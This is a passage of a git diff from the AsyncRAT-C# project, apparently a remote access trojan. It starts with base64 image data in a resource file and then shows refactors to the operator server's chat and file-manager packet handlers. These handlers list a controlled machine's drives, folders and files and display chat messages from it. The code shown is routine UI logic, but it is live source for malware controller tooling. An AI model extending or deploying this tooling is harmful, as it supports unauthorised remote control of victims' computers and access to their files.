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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs index f32f3ac..e2e1304 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Linq; @@ -11,29 +11,23 @@ using System.Windows.Forms; namespace Server.Handle_Packet { - public class HandleChat + public class HandleChat { public HandleChat(MsgPack unpack_msgpack, Clients client) { - if (Program.form1.InvokeRequired) + FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; + if (chat != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; - if (chat != null) - { - Console.Beep(); - chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); - chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; - chat.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - })); + Console.Beep(); + chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); + chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; + chat.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index f987c8d..71286e9 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Drawing; using System.IO; @@ -9,12 +9,14 @@ using System.Threading; using System.Threading.Tasks; using Server.Helper; using System.Diagnostics; +using System.Collections.Generic; +using System.Linq; namespace Server.Handle_Packet { public class HandleFileManager { - public void FileManager(Clients client, MsgPack unpack_msgpack) + public async void FileManager(Clients client, MsgPack unpack_msgpack) { try { @@ -22,140 +24,93 @@ namespace Server.Handle_Packet { case "getDrivers": { - if (Program.form1.InvokeRequired) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + FM.toolStripStatusLabel1.Text = ""; + FM.listView1.Items.Clear(); + string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < driver.Length; i++) { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) + if (driver[i].Length > 0) { - FM.toolStripStatusLabel1.Text = ""; - FM.listView1.Items.Clear(); - string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < driver.Length; i++) - { - if (driver[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = driver[i]; - lv.ToolTipText = driver[i]; - if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; - else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; - else lv.ImageIndex = 1; - FM.listView1.Items.Add(lv); - } - i += 1; - } + ListViewItem lv = new ListViewItem(); + lv.Text = driver[i]; + lv.ToolTipText = driver[i]; + if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; + else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; + else lv.ImageIndex = 1; + FM.listView1.Items.Add(lv); } - })); + i += 1; + } } break; } case "getPath": { - if (Program.form1.InvokeRequired) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; + if (FM.toolStripStatusLabel1.Text.EndsWith("\\")) { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) - { - FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; - if (FM.toolStripStatusLabel1.Text.EndsWith("\\")) - { - FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1); - } - if (FM.toolStripStatusLabel1.Text.Length == 2) - { - FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\"; - } - FM.listView1.Items.Clear(); - FM.listView1.Groups.Clear(); - FM.toolStripStatusLabel3.Text = ""; - string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFolder = new ListViewGroup("Folders"); - FM.listView1.Groups.Add(groupFolder); - int numFolders = 0; - for (int i = 0; i < _folder.Length; i++) - { - if (_folder[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = _folder[i]; - lv.ToolTipText = _folder[i + 1]; - lv.Group = groupFolder; - lv.ImageIndex = 0; - FM.listView1.Items.Add(lv); - numFolders += 1; - } - i += 1; + FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1); + } + if (FM.toolStripStatusLabel1.Text.Length == 2) + { + FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\"; + } - } + FM.listView1.BeginUpdate(); + // + FM.listView1.Items.Clear(); + FM.listView1.Groups.Clear(); + FM.toolStripStatusLabel3.Text = ""; - string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFile = new ListViewGroup("Files"); - FM.listView1.Groups.Add(groupFile); - int numFiles = 0; - for (int i = 0; i < _file.Length; i++) - { - if (_file[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_file[i]); - lv.ToolTipText = _file[i + 1]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); - FM.imageList1.Images.Add(_file[i + 1], im); - lv.ImageKey = _file[i + 1]; - lv.Group = groupFile; - lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); - FM.listView1.Items.Add(lv); - numFiles += 1; - } - i += 3; - } - FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; - } - })); + ListViewGroup groupFolder = new ListViewGroup("Folders"); + ListViewGroup groupFile = new ListViewGroup("Files"); + + FM.listView1.Groups.Add(groupFolder); + FM.listView1.Groups.Add(groupFile); + + FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray())); + FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray())); + // + FM.listView1.Enabled = true; + FM.listView1.EndUpdate(); + + FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] 